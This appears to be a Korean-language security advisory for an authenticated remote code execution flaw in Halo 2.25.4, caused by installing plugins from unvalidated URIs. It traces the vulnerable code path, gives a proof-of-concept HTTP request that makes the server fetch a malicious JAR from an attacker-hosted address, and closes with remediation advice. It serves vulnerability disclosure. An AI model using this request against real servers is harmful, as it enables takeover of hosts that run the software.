
Halo 2.25.4에서 검증되지 않은 플러그인 URI 설치를 통한 인증된 원격 코드 실행 취약점을 시연하며, 기술 분석 및 개념 증명 익스플로잇을 포함합니다.
Halo 버전 2.25.4에서 심각한 보안 취약점이 확인되었습니다. 이 애플리케이션은 원격 URI에서 플러그인을 설치하거나 업그레이드할 수 있는 관리자 엔드포인트를 제공합니다. 그러나 시스템은 URI의 소스 도메인을 검증하지 못하며, 이 특정 구성 요소에는 SSRF(서버 측 요청 위조) 보호 기능이 없습니다. 플러그인 관리 권한이 있는 인증된 공격자는 악의적으로 제작된 플러그인 JAR 파일에 대한 링크를 제공할 수 있습니다. 서버는 PF4J 프레임워크와 Spring의 DefaultPluginApplicationContextFactory를 사용하여 JAR 파일을 다운로드하고, 임시로 저장한 다음, JVM 컨텍스트에 동적으로 로드합니다. 이로 인해 신뢰할 수 없는 확장 클래스가 실행되어 기본 호스트 운영 체제에서 임의의 원격 코드 실행(RCE)이 가능해집니다.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)CVE 양식에 제출할 때 쉼표로 구분하세요:
Plaintext
PluginEndpoint.java, installFromUri 메서드, DefaultPluginApplicationContextFactory
인증된 관리자는 악성 원격 플러그인 JAR URL이 포함된 조작된 HTTP POST 요청을 /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri 엔드포인트로 보낼 수 있습니다.
원격 코드 실행은 다음 작업 순서를 통해 발생합니다:
PluginEndpoint.installFromUri() 메서드는 들어오는 요청 본문(InstallFromUriRequest)을 처리하고 사용자가 제공한 uri 문자열을 추출합니다. 도메인 화이트리스트 필터링이 적용되지 않습니다.DefaultReactiveUrlDataBufferFetcher.fetch(uri)로 전달됩니다. Halo의 다른 내부 네트워킹 구성 요소와 달리 이 페처는 HttpSecurityUtils.secureHttpClient()를 호출하지 않아 내부 사설 네트워크/루프백 IP 제한(SSRF 보호)을 건너뜁니다.writeToTempFile(content)를 통해 호스트 서버의 로컬 임시 디렉터리에 기록됩니다.pluginService.install(path)에 전달하며, 이는 PF4J JarPluginLoader를 활용하여 JAR 파일의 압축을 풀고 로드합니다.DefaultPluginApplicationContextFactory가 플러그인의 plugin.yaml 내부 메타데이터를 자동으로 파싱하고 선언된 모든 확장 클래스를 Active Spring 빈으로 애플리케이션 컨텍스트에 등록합니다.static {}) 또는 @PostConstruct로 주석 처리된 메서드 블록 내부에 배치된 악성 코드는 Runtime.getRuntime().exec()를 통해 인스턴스 생성 중에 즉시 실행됩니다.PluginEndpoint.java 422-428행):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // 검증되지 않은 네트워크 페치
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
공격자는 @PostConstruct 수명 주기 훅 또는 정적 블록 내부에 페이로드 실행 메커니즘이 포함된 확장 클래스가 있는 표준 PF4J/Halo 플러그인 JAR 파일(poc-plugin.jar)을 컴파일합니다. 공격자는 이를 외부 리스너에 호스팅합니다:
Bash
python3 -m http.server 9999
인증된 관리 사용자는 대상 Halo 서버에 다음 HTTP 요청을 보냅니다:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
서버는 설치를 처리하고, 공격자의 서버에서 아티팩트를 가져오고, 확장을 등록하고, 컴파일된 시스템 명령을 실행하여 대상 호스트를 손상시킵니다.


application.yaml) 및 저장된 파일에 대한 직접적인 노출.uri 인수에 대한 엄격한 검증 규칙을 적용합니다. 원격 설치 스키마를 검증된 신뢰할 수 있는 공식 에코시스템 마켓플레이스(예: https://awesome.halo.run)로 제한합니다.DefaultReactiveUrlDataBufferFetcher를 리팩터링하여 기존 HttpSecurityUtils.secureHttpClient() 유틸리티를 활용하고 루프백(127.0.0.1), 링크-로컬(169.254.169.254) 또는 사설 클래스 네트워크(10.0.0.0/8, 192.168.0.0/16)를 가리키는 요청을 차단합니다.JarPluginLoader 컨텍스트는 DefaultPluginApplicationContextFactory에 전달하여 컨텍스트 인스턴스화를 수행하기 전에 공식 저장소에서 제공하는 공개 키에 대해 파일 해시 또는 암호화 서명을 검증해야 합니다.